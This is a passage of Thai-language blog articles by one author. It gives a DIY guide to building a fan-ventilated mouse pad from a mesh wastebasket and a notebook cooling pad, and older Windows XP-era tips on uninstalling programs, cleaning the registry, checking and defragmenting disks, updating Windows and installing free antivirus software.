ขั้นตอนต่อไปให้ถอดแผ่นอะลูมิเนียมซึ่งเป็นผิวด้านบนของแผ่นรองโน้ตบุ๊ก วิธีถอดให้ใช้ไขควงเล็กแบน หรือคัทเตอร์ แงะไล่ตามริมนอกให้รอบ แล้วค่อยใช้แรงงัดลึกขึ้น ขณะถอดแผ่นอะลูมิเนียมระวังอย่าให้มอเตอร์หรือใบพัดของพัดลมชำรุดเสียหาย

รูป 008 : แผ่นรองโน้ตบุ๊กที่ถอดแผ่นอะลูมิเนียมออกแล้ว

 

ตัดแผ่นลวดตาข่าย

นำแผ่นอะลูมิเนียมซึ่งเป็นผิวด้านบนของแผ่นรองโน้ตบุ๊ก (ที่เราถอดออกในขั้นตอนที่ผ่านมา) มาทาบลงบนแผ่นลวดตาข่ายที่ตัดจากถังขยะ ยึดไว้ด้วยเทปกาวเพื่อไม่ให้เคลื่อนไปมา จากนั้นใช้กรรไกรตัดลวดตาข่ายให้มีขนาดและรูปทรงตรงกันกับแผ่นอะลูมิเนียม เมื่อตัดแล้วให้เล็มขอบทุกด้านจนแน่ใจว่าไม่มีเส้นตาข่ายแหลมคมเหลืออยู่

รูป 009 : ตัดตาข่ายตามแบบ

 

แต่งขอบตาข่าย

เมื่อตัดแผ่นลวดตาข่ายตามแบบเสร็จแล้ว ให้ใช้กระดาษทรายขัดขอบให้เรียบ หากมีเส้นตาข่ายเกินออกมาให้ใช้คีมตัดเล็ก เล็มแต่งอีกครั้งจนขอบทุกด้านเรียบเนียน

รูป 010 : แต่งขอบตาข่าย

 

 

 

ใส่ผ้าให้ตาข่าย

ขั้นตอนนี้ควรหาผู้ช่วยสักหนึ่งคน ขั้นแรกให้นำกาวมาฉีดพ่นให้ทั่วพื้นผิวลวดตาข่าย (พ่นเพียงด้านเดียว) จากนั้นดึงผ้าให้เรียบ (แต่ไม่ดึงมากไปจนผ้ายืด) แล้วนำไปทาบลงบนแผ่นลวดตาข่ายด้านที่พ่นกาวแล้ว ใช้มือรีดให้เรียบไม่ให้มีรอยย่น สุดท้ายให้นำหนังสือหนักๆ วางทับไว้ข้ามคืนเพื่อให้ผ้าอยู่ตัว

ข้อควรระวังในขั้นตอนนี้คือ ปรกติกาวสเปรย์จะแห้งภายในสองนาที เมื่อพ่นกาวเสร็จแล้วจึงต้องติดผ้าให้เสร็จภายในสองนาที เพราะหากทิ้งไว้นานกว่านั้นผ้าจะยึดกับผิวงานได้ไม่ดี

รูป 011 : ก่อนใส่ผ้าบนแผ่นลวดตาข่าย

 

เก็บขอบผ้า

เมื่อผ้าติดกับแผ่นลวดตาข่ายแห้งดีแล้ว ให้นำมาตัดขอบออกด้วยกรรไกรตัดผ้า ตัดผ้าให้เหลือขอบไว้ยาวครึ่งนิ้วโดยรอบ นำปืนยิงกาวมายิงรอบขอบแผ่นลวดตาข่ายด้านที่ไม่มีผ้า จากนั้นพับขอบผ้าเข้ากับกาว เมื่อทำเช่นนี้จนครบโดยรอบเราจะได้แผ่นลวดตาข่ายที่มีขอบผ้าหุ้มทุกด้าน พร้อมสำหรับการนำไปใช้ในขั้นตอนต่อไป

รูป 012 : แผ่นลวดตาข่ายเมื่อตัดผ้าแล้วแต่ยังไม่ได้เก็บขอบผ้า

 

ติดแผ่นกาวสองหน้า

ขั้นตอนต่อไปให้ติดแผ่นกาวสองหน้า การติดให้ติดในตำแหน่งที่แสดงในภาพ แผ่นกาวสองหน้าให้ใช้แบบหนาประมาณหนึ่งส่วนแปดของนิ้ว เพราะเราต้องการให้มีช่องว่างระหว่างแผ่นลวดตาข่ายและแผ่นรองโน้ตบุ๊ก ช่องว่านี้จะทำให้อากาศไหลผ่านได้ดี

รูป 013 : แผ่นลวดตาข่ายเมื่อติดแผ่นกาวสองหน้าแล้ว

 

ประกบแผ่นลวดตาข่าย

นำแผ่นลวดตาข่ายที่ติดแผ่นกาวสองหน้าแล้วมาประกบเข้ากับแผ่นรองโน้ตบุ๊ก ใช้ปีนยิงกาวยิงกาวเหนียวร้อนปิดขอบทุกด้านโดยรอบ สาเหตุที่ใส่กาวรอบๆ เพราะไม่ต้องการให้อากาศเข้าจากด้านข้าง เราต้องการให้อากาศถูกดูดเข้าทางด้านบนเท่านั้น

รูป 014 : ลวดตาข่ายเมื่อประกบเข้ากับแผ่นรองโน้ตบุ๊กแล้ว

 

ทิ้งไว้อีกหนึ่งคืน

เมื่อประกบแผ่นลวดตาข่ายเข้ากับแผ่นรองโน้ตบุ๊กแล้วให้นำหนังสือหนักๆ มาทับไว้ แล้วปล่อยทิ้งไว้ข้ามคืนเพื่อให้กาวสองหน้ายึดติดกับพื้นผิวได้อย่างสมบูรณ์

รูป 015 : ขั้นตอนสุดท้ายคือทิ้งไว้อีกหนึ่งคืน

 

ได้เวลาหฤหรรษ์

ถึงตอนนี้ก็เป็นอันว่าโครงงานเสร็จสมบูรณ์ สิ่งที่คุณได้คือแผ่นรองเมาส์ซึ่งมีระบบระบายความชื้นด้วยอากาศที่สร้างขึ้นด้วยฝีมือของคุณเอง ต่อไปนี้คุณสามารถนั่งสร้างภาพสามมิติด้วยโปรแกรมมายาเป็นชั่วโมงๆ หรือ เริงร่าไปกับอาวุธคู่ใจในสงครามผ่านระบบแลน เผด็จศึกคู่ต่อสู้ด้วยการเลื่อนเมาส์อย่างแม่นยำโดยปราศจากเหงื่อเหนียวเหนอะที่ทำให้เสียอารมณ์

หน้าแรก สารบัญ เกี่ยวกับบล็อกนี้ เกี่ยวกับผู้เขียน

 

สร้าง Mouse Air Pad [ตอน1]

จะทนรำคาญผ่ามือที่ชุ่มเหงื่อไปทำไม

มาประดิษฐ์แผ่นรองเมาส์ที่มีระบบระบายอากาศกันดีกว่า

บทความโดย : ลาภลอย วานิชอังกูร (laploy.com)

 

คนที่ใช้คอมพิวเตอร์อย่างหนักเป็นเวลานาน เช่นนักเล่นเกม ผู้ที่ทำงานกับโปรแกรมโฟโต้ชอป หรือผู้ที่สร้างภาพสามมิติด้วยโปรแกรมมายา มักมีปัญหาร่วมกันอยู่อย่างหนึ่ง นั่นคืออาการมือชุ่มเหงื่อ โรคนี้เป็นวงจรอุบาทว์ เพราะเมื่อเป็นแล้วจะทำให้มือและเมาส์ลื่น ซึ่งจะทำให้การเลื่อนเมาส์ขาดความแม่นยำ เป็นผลให้เกิดความเครียด เมื่อเครียดแล้วจะยิ่งทำให้เหงื่อออกมากขึ้น ทำให้ในที่สุดต้องหยุดงานลงกลางคัน

รูป 001 : แผ่นรองเมาส์ที่มีระบบระบายอากาศเมื่อสร้างเสร็จแล้ว

การหาผ้ามาเช็ดเมาส์และมือเป็นวิธีแก้ปัญหาที่ปลายเหตุ และแก้ได้เพียงชั่วครู่ ทางแก้อีกอย่างคือหาซื้อเมาส์แบบมีพัดลมในตัวซึ่งจะดูดความชื้นออกจากอุ้งมือได้ แต่เมาส์ชนิดนี้หาซื้อยาก และไม่ค่อยมีความแม่นยำ คุณภาพเทียบเมาส์ระดับไฮ-เอ็นด์ ที่เกมเมอร์และนักสร้างภาพกราฟิกมืออาชีพใช้ไม่ได้

บทความนี้เสนอวิธีแก้ที่ดีกว่า นั่นคือการการสร้างแผ่นรองเมาส์ที่สามารถระบายอากาศได้ และมีพัดลมดูดอากาศ สามารถดูดความชื้นได้อย่างมีประสิทธิภาพ ช่วยให้มือของท่านแห้งสบายอยู่ตลอดเวลา ไม่ว่าจะใช้คอมพิวเตอร์หนักหรือนานสักเพียงใด และที่สำคัญคือดัดแปลงจากวัสดุหาง่าย ราคาไม่แพง

ถังขยะ

กุญแจสำคัญของโครงงานนี้คือการหาวัสดุที่ยอมให้อากาศไหลผ่านได้ดี วัสดุที่ใช้ต้องมีความแข็งแรงพอที่จะทำให้เลื่อนเมาส์ได้โดยไม่สะดุด และในขณะเดียวกันอากาศต้องไหลเวียนได้ง่ายด้วย วัสดุราคาถูกและหาได้ง่ายคือถังขยะแบบที่เห็นในรูป ถังขยะเช่นนี้ทำจากพลาสติก หรือโลหะหุ้มยาง ตัวถังโปร่งเป็นตาข่ายแต่ก็แข็งแรงพอที่จะให้เมาส์ทำงานได้โดยไม่บิดย่น ผิวที่เป็นตระแกรงลวดทำให้อากาศสามารถไหลผ่านได้เป็นอย่างดี ข้อดีของถังขยะชนิดนี้คือเราสามารถใช้กรรไกรใหญ่ๆ (แบบที่ใช้ตัดหนัง หรือแผ่นอะลูมิเนียมบาง) ตัดให้เป็นรูปร่างต่างๆ ได้ง่ายจนน่าแปลกใจ

รูป 016 : ถังขยะตัวถังโปร่งเป็นลวดตาข่ายอากาศสามารถไหลผ่านได้เป็นอย่างดีแต่มีความหนาพอที่จะให้เมาส์ทำงานได้โดยไม่บิดย่น

 

แผ่นรองโน้ตบุ๊ก

ตามศูนย์สินค้าไอทีมีแผ่นรองคอมพิวเตอร์โน้ตบุ๊กขาย แผ่นนี้ทำหน้าที่ช่วยระบายความร้อนให้กับโน้ตบุ๊ก ภายในแผ่นนี้มีพัดลมสองตัว อาศัยกำลังไฟฟ้าจากพอร์ท USB ผิวด้านบนเป็นแผ่นอลูมีเนียมเจาะรูไว้จำนวนมาก อากาศจะถูกดูดจากด้านบนและปล่อยออกด้านล่างรอบข้าง แผ่นรองโน้ตบุ๊กมีความหนาประมาณครึ่งนิ้ว ไม่มากไปกว่าแผ่นรองเมาส์อย่างหนา

แผ่นรองโน้ตบุ๊กแบบมีพัดลมระบายความร้อนนี้ เหมาะที่จะนำมาดัดแปลงใช้ในโครงงานนี้มาก หากหาซื้อไม่ได้ หรือถ้าคุณมีฝีมือและชอบประดิษฐ์ อาจลองสร้างขึ้นเอง จะทำให้โครงงานนี้ประหยัดและสนุกยิ่งขึ้น

รูป 002 : แผ่นรองคอมพิวเตอร์โน้ตบุ๊กแบบมีพัดลมระบายความร้อน

 

 

กาวกระป๋อง

กาวที่จะใช้ในโครงงานนี้เป็นกาวสเปรย์กระป๋องมาตรฐาน อย่างที่มีขายทั่วไปตามแผนกเครื่องมือในห้างสรรพสินค้า ใช้ยี่ห้ออะไรก็ได้ ไม่จำเป็นต้องเป็นยี่ห้อเดียวกับในรูป จุดสำคัญคือกาวต้องมีแรงยึดดีและแห้งเร็ว ถ้าหากาวกระป๋องไม่ได้จะใช้กาวยางแทนก็ได้ กาวยางคือกาวที่นักซ่อมรองเท้าและช่างทำเครื่องเรือนชอบใช้ เป็นกระป๋องเล็กๆ มีขายตามร้านฮาร์ดแวร์ทั่วไป (หมายถึงร้านขายอุปกรณ์สำหรับซ่อมบ้าน ไม่ได้หมายถึงร้านขายอุปกรณ์คอมพิวเตอร์)

รูป 003 : กาวสเปรย์กระป๋องมาตรฐานที่มีขายทั่วไป

 

 

ผ้าสำหรับใช้ทำพื้นผิว

ได้เวลาไปซื้อผ้าที่พาหุรัต (ซื้อที่อื่นก็ได้) จากการทดสอบพบว่า ผ้าฝ้ายร้อยเปอร์เซ็นต์ระบายอากาศได้ดีที่สุด แต่เส้นใยผ้าจะหลุดจับติดเมาส์เมื่อใช้ไปสักระยะหนึ่ง ผ้าฝ้ายร้อยเปอร์เซ็นต์จึงไม่เหมาะนัก เมื่อทดลองกับผ้าแบบต่างๆ หลายแบบพบว่าผ้าที่ทำจากใยสังเคราะห์ร้อยเปอร์เซ็นต์เหมาะที่สุด เพราะเนื้อผ้าแน่นดี ไม่มีใยผ้าหลุดติดเมาส์ แต่ในขณะเดียวกันก็โปร่งพอที่อากาศจะผ่านได้ดีพอใช้ เลือกผ้าสีดำหากชอบความเรียบหรู ถ้าไม่ชอบสีดำจะใช้ผ้าสีอะไรลวดลายอะไรก็ได้ตามรสนิยม หาซื้อมาสักครึ่งเมตรก็พอ

รูป 004 : ผ้าสำหรับใช้ทำพื้นผิวแผ่นรองเมาส์

 

อุปกรณ์จิปาถะ

อุปกรณ์อื่นที่ต้องใช้ในโครงงานนี้คือกรรไกรใหญ่ๆ (แบบที่ใช้ตัดหนัง หรือแผ่นอะลูมิเนียมบาง) ปืนกาวและแท่งกาว เทปกาว นอกนั้นก็เป็นเครื่องมือทั่วไปเช่นไขควงแบน มีดแบบคัทเตอร์

รูป 005 : อุปกรณ์จิปาถะต่างๆ

 

 

ตัดถังขยะ

สิ่งแรกที่เราจะทำคือตัดถังขยะโดยตัดขอบบนและขอบล่างออก ให้เหลือแต่ตัวถังซึ่งเราต้องการนำไปใช้งาน การตัดให้ใช้กรรไกรขนาดใหญ่ ขณะตัดให้อาศัยความระมัดระวัง เพราะขอบของตัวถังอาจที่แหลมคมอาจบาดมือได้ เมื่อตัดเสร็จเราจะได้แผ่นตะแกรงลวด หรือแผ่นลวดตาข่าย ซึ่งจะโค้งงอตามลักษณะของถังขยะจึงต้องให้ดัดให้ตรงก่อน การดัดให้ใช้แผ่นกระดานและของหนักๆ ทับไว้หนึ่งคืน

รูป 006 : ถังขยะเมื่อตัดเสร็จแล้ว

 

หน้าแรก สารบัญ เกี่ยวกับบล็อกนี้ เกี่ยวกับผู้เขียน

 

ยกระดับ-กระชับเครื่องพีซี [ตอน2]

 

ขั้นตอนง่ายๆ ที่คุณทำเองได้ เพื่อให้คอมพิวเตอร์มีสมรรถนะเต็มร้อย

บทความโดย : ลาภลอย วานิชอังกูร www.laploy.com

ลบโปรแกรมที่ไม่ได้ใช้
มีหลายโปรแกรมที่เราอาจเคยติดตั้งไว้แต่ไม่ได้ใช้งานอีกต่อไปแล้ว เราควรลบโปรแกรมเหล่านี้ออกไปให้หมด การลบโปรแกรมโดยลบเพียงไอคอนบน desktop ไม่มีประโยชน์อะไร เพราะไอคอนนั้นเป็นแค่ Short cut หรือตัวเชื่อมทางลัด หากเราลบ Short Cut ไฟล์ต่างๆ จะยังคงอยู่ในโฟลเดอร์ c:\Program Files การลบโปรแกรมโดยลบโฟลเดอร์เก็บโปรแกรมภายใน c:\Program Files ก็ไม่ใช่วิธีที่ถูกต้องอีกเช่นกัน เพราะแม้ไฟล์โปรแกรมจะถูกลบไปแล้ว แต่วินโดวส์ยังคงคิดว่าโปรแกรมยังอยู่เพราะค่าต่างๆ ที่บันทึกไว้ใน registry ไม่ได้ถูกลบไปด้วย

วิธีลบโปรแกรมที่ถูกต้องคือการ uninstall หรือการถอดถอนโปรแกรมซึ่งทำได้โดยเลือกไอคอน Add or Remove Programs ใน Control Panel (กุดปุ่ม Start, Setting, Control Panel แล้วดับเบิ้ลคลิกที่ไอคอน Add or Remove Programs)  เมื่อมีกรอบข้อความ Add or Remove Programs ปรากฏขึ้นให้ตรวจสอบรายชื่อโปรแกรมว่ามีตัวใดบ้างที่เราไม่ต้องการแล้ว หรือคิดว่าจะไม่ใช้ ให้กดเลือกรายการนั้นแล้วกดปุ่ม Change/Remove โปรแกรม uninstall จะทำงานให้เราเลือกลบ (หรือติดตั้งเพิ่มเติม) โปรแกรมนั้นได้ ทำขั้นตอนนี้ซ้ำจนกว่าในรายการจะเหลือแต่โปรแกรมที่จำเป็นต้องใช้จริงๆ

 


รูป 006 : กรอบข้อความ Add or Remove Programs

 

นอกจากโปรแกรมที่เราติดตั้งไว้ ตัววินโดวส์เองก็ติดตั้งโปรแกรมประยุกต์ใช้งานหลายอย่างไว้ด้วย ยกตัวอย่างเช่น
•    Fax Services
•    Internet Information Services (IIS)
•    Management and Monitoring Tools
•    Message Queuing
•    MSN Explorer
•    Outlook Express (ไม่มีประโยชน์หากเราใช้กูเกิ้ลเมน หรือฮอทเมล)
•    Windows Messenger (ปรกติเราจะใช้ MSN Messenger แทน)

โปรแกรมเหล่านี้ส่วนมากเราไม่ได้ใช้และควรลบทิ้งไปเสียด้วย วิธีลบทำได้โดยเปิดหน้า  Add or Remove Programs สังเกตที่แถบด้านซ้ายมือจะมีปุ่ม Add/Remove Windows Components ให้กดเพื่อเปิด Windows Components Wizard ซึ่งจะแสดงรายชื่อโปรแกรมที่วินโดวส์ติดตั้งไว้ กดหน้าชื่อโปรแกรมที่ต้องการลบ เพื่อให้เครื่องหมายถูกหายไป ทำเช่นนี้ให้ครบทุกโปรแกรมที่ต้องการลบแล้วกดปุ่ม Next

 


รูป 007: กรอบข้อความ Windows Components Wizard

 

ล้าง registry
Registry เป็นระบบฐานข้อมูลที่วินโดวส์ใช้เก็บบันทึกสภาวะของระบบ เมื่อเราใช้คอมพิวเตอร์ไประยะหนึ่ง (สองถึงสามเดือน)  registry จะเริ่มมีรายการที่คลาดเคลื่อน ขยะ และบันทึกที่ไม่ถูกต้อง ดังนั้นเราจึงควรปรับปรุงแก้ไข registry ให้กลับมีสภาพสมบูรณ์เป็นครั้งเป็นคราว

โชคร้ายที่วินโดวส์ไม่มีโปรแกรมปรับปรุงแก้ไข registry มาให้ แต่ไม่เป็นไร เพราะในอินเตอร์เน็ตมีโปรแกรมปรับปรุงแก้ไข registry ที่ใช้งานได้ดีให้เราดาวน์โหลดได้ฟรีหลายตัว ตัวที่แนะนำให้ใช้คือ RegSeeker (ดาว์นโหลดได้ที่นี่) ให้ดาวน์โหลดมาติดตั้งแล้วเปิดโปรแกรม จะเห็นแถบซ้ายมือเป็นเมนูคำสั่ง ให้กดที่ Clean the Registry แล้วกดปุ่ม OK โปรแกรม RegSeeker จะล้างข้อมูลที่เป็นขยะใน registry ให้โดยอัตโนมัติ

 


รูป 008: โปรแกรม RegSeeker

 

ขจัดตัวกินแรงเครื่อง
มีโปรแกรมเล็กๆ หลายโปรแกรมที่แอบทำงานอยู่ในฉากหลัง เมื่อรวมกันเข้าก็กินพลังการประมวลผลของคอมพิวเตอร์ไปไม่น้อย ทำให้เรารู้สึกว่าเครื่องอืดผิดปรกติ โชคดีที่เราสามารถใช้โปรแกรม RegSeeker ขจัดตัวกินแรงเครื่องเหล่านี้ได้ ให้กดที่คำสั่ง Startup entries เมื่อกดแล้ว RegSeeker จะแสดงรายการโปรแกรมทั้งหมดที่จะเริ่มทำงานทันทีที่เรา restart วินโดวส์ เราสามารถลบโปรแกรมเหล่านี้ได้เป็นส่วนใหญ่ โดยเลือกโปรแกรมที่จะลบแล้วกดปุ่ม Del คอมพิวเตอร์บางเครื่องอาจจำเป็นต้องมีโปรแกรมบางอย่างทำงานตอนเริ่มต้น เช่นไดร์ฟเวอร์การ์ดจอ หรือการ์ดเสียง ดังนั้นก่อนลบดูให้แน่ใจว่าโปรแกรมที่เราจะลบไม่เกี่ยวข้องกับฮาร์ดแวร์ หากไม่รู้หรือไม่แน่ใจก็อย่าลบ

 

บำรุงฮาร์ดดิสก์
เมื่อใช้งานคอมพิวเตอร์ไปนานๆ ฮาร์ดดิสก์มักมีพื้นที่เล็กๆ ที่ทำงานบกพร่อง (bad sector) ข้อบกพร่องนี้หากลุกลามไปมากเข้าจะทำให้ประสิทธิภาพของระบบลดลง เพราะการอ่านข้อมูลจากฮาร์ดดิสก์ต้องใช้เวลานานกว่าปรกติ โชคดีที่วินโดวส์มีโปรแกรมซ่อมบำรุงฮาร์ดดิสก์มาให้แล้ว (ชื่อ Scandisk) วิธีเรียกใช้ทำดังนี้ เปิดโปรแกรม Windows Explorer คลิกขวาที่ไดร์ฟซี เลือกหัวข้อ Properties ในกรอบข้อความ  Properties กด tab Tools ในกรอบ Error-checking ให้กดปุ่ม Check Now… เมื่อกดแล้วจะมีกรอบข้อความ Check Disk Local Disk ปรากฏขึ้น ให้กดเลือกหัวข้อทั้งสองหัวข้อ (คือ Automatically fix file system error และ Scan for and attempt recovery of bad sectors) แล้วกดปุ่ม Start

หากเราซ่อมบำรุงฮาร์ดดิสก์ที่ใช้เป็นตัวบูต (ไดร์ฟซี)  วินโดวส์จะแสดงกรอบข้อความแจ้งว่าไม่สามารถ Scandisk ขณะนี้ได้ แต่จะประวิงไปจนกว่าจะถึงตอนบูตครั้งหน้า ให้กดปุ่ม Yes แล้วบูตเครื่อง โปรแกรม Scandisk จึงจะทำงาน ให้ทำเช่นนี้กับทุกพาร์ติชันและทุกฮาร์ดดิสก์ กระบวนการนี้อาจกินเวลานานพอสมควร

 


รูป009: กรอบข้อความ  Properties ของฮาร์ดดิสก์ขณะแสดง tab Tools

 

จัดเรียงข้อมูล
อย่างที่เรียนไปตอนต้นบทความแล้วว่าเมื่อใช้คอมพิวเตอร์ไปสักระยะหนึ่งพื้นที่ว่างในฮาร์ดดิสก์จะกระจัดกระจายไม่ต่อเนื่องเป็นผืนเดียวกันทำให้การอ่านข้อมูลจากฮาร์ดดิสก์ช้าลง (Fragment) โชคดีที่วินโดวส์แถมโปรแกรมจัดเรียงข้อมูล (Defragment) มาให้ด้วย วิธีเรียกใช้ก็คล้ายกับวิธีเรียกโปรแกรม Scandisk คือ เปิดโปรแกรม Windows Explorer คลิกขวาที่ไดร์ฟซี เลือกหัวข้อ Properties ในกรอบข้อความ  Properties กด tab Tools ในกรอบ Defragmentation กดปุ่ม Defragment Now… วินโดวส์จะแสดงกรอบข้อความ Disk Defragmenter หากมีฮาร์ดดิสก์หลายตัว หรือมีตัวเดียวแต่แบ่งเป็นหลายพาร์ติชัน ให้เลือกไดร์ฟที่ต้องการแล้วกดปุ่ม Defragment หากฮาร์ดดิสก์มีความจุมาก  กระบวนการนี้จะกินเวลานานเช่นกัน

 


รูป 010: โปรแกรม Defragment ในวินโดวส์

 

สุขภาพดีทั่วหน้า
เมื่อทำตามขั้นตอนทั้งหมดที่แนะนำมาข้างบนแล้ว คอมพิวเตอร์ของท่านจะมีสุขภาพสมบูรณ์ ทำงานได้ลื่นกว่าเดิม เมื่อใช้งานไปสักระยะหนึ่ง หากท่านสังเกตว่าคอมพิวเตอร์เริ่มอืดอีกแล้ว ก็ให้ทำตามขั้นตอนที่แนะนำมานี้ทั้งหมดซ้ำอีก แล้วท่านจะเพลิดเพลินกับการใช้คอมพิวเตอร์คู่กายได้ทุกวัน

หน้าแรก สารบัญ เกี่ยวกับบล็อกนี้ เกี่ยวกับผู้เขียน

 

ยกระดับ-กระชับเครื่องพีซี [ตอน1]

ขั้นตอนง่ายๆ ที่คุณทำเองได้ เพื่อให้คอมพิวเตอร์มีสมรรถนะเต็มร้อย

บทความโดย : ลาภลอย วานิชอังกูร www.laploy.com

 

บทความนี้จะนำเสนอวิธีปรับแต่งคอมพิวเตอร์ของท่านให้มีสภาพสมบูรณ์ที่สุด เป็นขั้นตอนพื้นฐานง่ายๆ ใช้เครื่องมือที่มีอยู่แล้วในวินโดวส์ และซอฟท์แวร์ utility ที่ดาวน์โหลดมาใช้ได้ฟรีจากอินเตอร์เน็ต ขั้นตอนเหล่านี้จึงเป็นวิธีที่ประหยัดที่สุดในการเพิ่มประสิทธิภาพของคอมพิวเตอร์

 

ต้นตอของความอืด
หากหลังจากฟอร์แมตฮาร์ดดิสก์เพื่อล้างเครื่องและลงวินโดวส์ใหม่แล้วใช้งานได้รวดเร็วดี แต่เมื่อใช้ไปสักพักเครื่องกลับอืดขึ้นเรื่อยๆ ไม่ต้องตกใจ ไม่มีชิ้นส่วนฮาร์ดแวร์ใดๆ ในเครื่องของท่านชำรุด ผู้ใช้วินโดวส์มานานทุกคนรู้ดีว่าเมื่อใช้คอมพิวเตอร์ไประยะเวลาหนึ่ง วินโดวส์จะอุ้ยอ้ายและเครื่องจะเริ่มอืดลงเป็นธรรมดา สิ่งที่ทำให้คอมพิวเตอร์ทำงานช้าลงมีสี่ประการคือ ซอฟท์แวร์ ไวรัส registry และฮาร์ดดิสก์

  1. ซอฟท์แวร์ : โปรแกรมบางโปรแกรมๆ ที่เราติดตั้งไว้อาจลอบใส่งาน (task หรือ process) บางอย่างซึ่งจะทำงานอยู่ที่ฉากหลังตลอดเวลา ทำให้กินแรงเครื่องโดยไม่จำเป็น บางครั้งเรายกเลิกการติดตั้งโปรแกรม (remove program) แล้ว แต่ยังมีเศษซากบางอย่างหลงเหลืออยู่ นี่เป็นสาเหตุที่ทำให้คอมพิวเตร์ทำงานช้าลงได้
  2. ไวรัส : ไวรัสในที่นี้รวมถึงโปรแกรมมุ่งร้ายอื่นๆ เช่น หนอน สปายแวร์ โทรจัน ฯลฯ  โปรแกรมเหล่านี้จะลอบทำสิ่งอัปมงคลหลายๆ อย่างอยู่หลังฉาก จึงกินแรงเครื่องไปบางส่วน
  3. Registry : วินโดวส์จะมีแฟ้มบันทึกภาวะของระบบเรียกว่า Windows registry การเพิ่มลดโปรแกรม (add/remove program) จะทำให้ registry เพิ่มและลดขนาดตามไปด้วย เมื่อเวลาผ่านไปบ่อยครั้งที่ข้อมูลใน registry จะผิดพลาดหรือมีขยะ เป็นสาเหตุให้วินโดวส์ทำงานช้าลง
  4. ฮาร์ดดิสก์ : เมื่อใช้คอมพิวเตอร์ไปสักระยะหนึ่ง การลบและเพิ่มข้อมูลที่เกิดขึ้นสะสมมีผลให้พื้นที่ว่างในฮาร์ดดิสก์ไม่ต่อเนื่องกัน แฟ้มข้อมูลใหม่จึงถูกเก็บไว้อย่างกระจัดกระจาย ทำให้การอ่านข้อมูลจากฮาร์ดดิสก์ช้าลง

 

เมื่อรู้ต้นเหตุที่ทำให้คอมพิวเตอร์ทำงานได้ไม่เร็วสูงสุดเท่าที่ควรจะเป็นแล้ว เราจะขจัดต้นเหตุเหล่านี้อย่างเป็นระบบ เมื่อทำครบทุกขั้นตอนแล้ว คอมพิวเตอร์ของเราจะอยู่ในสภาพพร้อมใช้งานได้อย่างเต็มประสิทธิภาพ

ปรับเวอร์ชัน อุดช่องโหว่
ปรับเวอร์ชันในที่นี้ไม่ได้หมายถึงใช้ Windows XP อยู่แล้วอัพเกรดไปใช้ Windows Vista แต่หมายถึงให้ปรับไปเป็นตัวปรับปรุงแก้ไขใหม่สุด (service pack) ในวินโดวส์รุ่นนั้นๆ สาเหตุที่ต้องทำเช่นนั้นเพราะแฮกเกอร์มืด (พวกเจาะระบบและนักสร้างโปรแกรมมุ่งร้าย) มักหาช่องโหว่ในระบบรักษาความปลอดภัยของวินโดวส์รุ่นใหม่สุด และสร้างโปรแกรมโจมตีช่องโหว่นั้น บริษัทไมโครซอฟต์จึงปรับรุ่นเพื่อแก้ไขช่องโหว่ เหตุการณ์นี้จะเกิดเป็นงูกินหาง เราจึงควรปรับรุ่นวินโดวส์ในเครื่องของเราเป็นระยะๆ

การปรับรุ่นไม่มีอะไรยุ่งยาก เพียงเข้าไปที่เว็บไซต์ http://www.windowsupdate.com แล้วคลิกเลือกการปรับรุ่นให้ตรงกับวินโดวส์ที่ท่านใช้อยู่ โปรแกรมในหน้าเว็บจะดาวน์โหลดและติดตั้งตัวปรับปรุงแก้ไขใหม่สุดให้โดยไม่เสียค่าใช้จ่ายใดๆ

ในกรณีที่เป็น Windows XP เราสามารถตั้งค่าให้วินโดวส์ปรับรุ่นตัวเองโดยอัตโนมัติเมื่อบริษัทไมโครซอฟต์ออกตัวปรับรุ่นตัวใหม่ (จะมีการปรับเล็กๆ น้อยประปรายอยู่ตลอดเวลา)  ซึ่งเป็นคุณสมบัติที่ดีมีประโยชน์ เพราะจะทำให้เรามั่นใจได้ว่าคอมพิวเตอร์ของเราจะปลอดภัยจากการโจมตีโดยเราไม่ต้องคอยกังวลเรื่องการปรับเวอร์ชัน

การตั้งค่าให้วินโดวส์ปรับรุ่นตัวเองโดยอัตโนมัตินี้ปรกติจะถูกกำหนดให้เป็นอย่างนั้นอยู่แล้วเมื่อติดตั้งวินโดวส์ หากท่านไม่แน่ใจก็สามารถตรวจสอบได้โดยดูใน System Properties (กดปุ่ม Start, Setting, Control Panel ดับเบิ้ลคลิกที่ไอคอน System) ในกรอบข้อความ System Properties ให้กดที่ tab Automatic Updates แล้วดูให้แน่ใจว่าหัวข้อ Automatic (Recommended) ถูกเลือกอยู่ (อย่างที่เห็นในรูป) หากหัวข้ออื่นๆ ถูกเลือกอยู่ให้คลิกที่หัวข้อ  Automatic (Recommended) หนึ่งครั้ง

 

รูป 001 : การตั้งค่าให้วินโดวส์ปรับรุ่นตัวเองโดยอัตโนมัติ

 

ต่อต้านมัลแวร์
Malware คือโปรแกรมมุ่งร้ายต่างๆ เช่น ไวรัส หนอน สปายแวร์ โทรจัน ฯลฯ หากคอมพิวเตอร์ของเราป่วยเพราะติดเชื้อโรคเหล่านี้ ย่อมทำงานเต็มประสิทธิภาพไม่ได้ โชคดีที่การป้องกัน มัลแวร์ทำได้ง่าย เพียงติดตั้งโปรแกรมต้าน มัลแวร์ซึ่งมีหลายตัวที่เราสามารถดาวน์โหลดมาใช้ได้ฟรี

สำหรับผู้ใช้ Windows XP และ Windows Vista ขอแนะนำให้ให้ Avast! โปรแกรมป้องกันไวรัสคุณภาพสูง ใช้งานได้ดี  และที่สำคัญคือฟรี (เฉพาะ Home Edition) สามารถดาวน์โหลดได้ที่ http://www.avast.com ผู้ผลิตอ้างว่าขณะนี้มีผู้ลงทะเบียนใช้ทั่วโลกสามสิบล้านรายแล้ว Avast! สามารถค้นหาและทำลาย โปรแกรมมุ่งร้ายต่างๆ เช่น ไวรัส หนอน สปายแวร์ โทรจัน และอื่นๆ ที่แพร่หลายได้

 


รูป 002 : Avast! โปรแกรมป้องกันไวรัสคุณภาพสูง ใช้งานได้ดี  และที่สำคัญคือฟรี

 

สำหรับผู้ที่ใช้ Windows XP ขอแนะนำให้ใช้ Windows Defender โปรแกรมป้องกัน pop-up และสปายแวร์จากบริษัทไมโครซอฟท์ (ดาวน์โหลดได้ที่ http://www.microsoft.com/athome/security/spyware/software/default.mspx)  บริษัทไมโครซอฟท์ใจดีให้เราดาว์นโหลดใช้ฟรีเช่นกัน

 


รูป 003 :  Windows Defender โปรแกรมป้องกัน pop-up และสปายแวร์จากบริษัทไมโครซอฟท์

 

เก็บกวาดขยะ
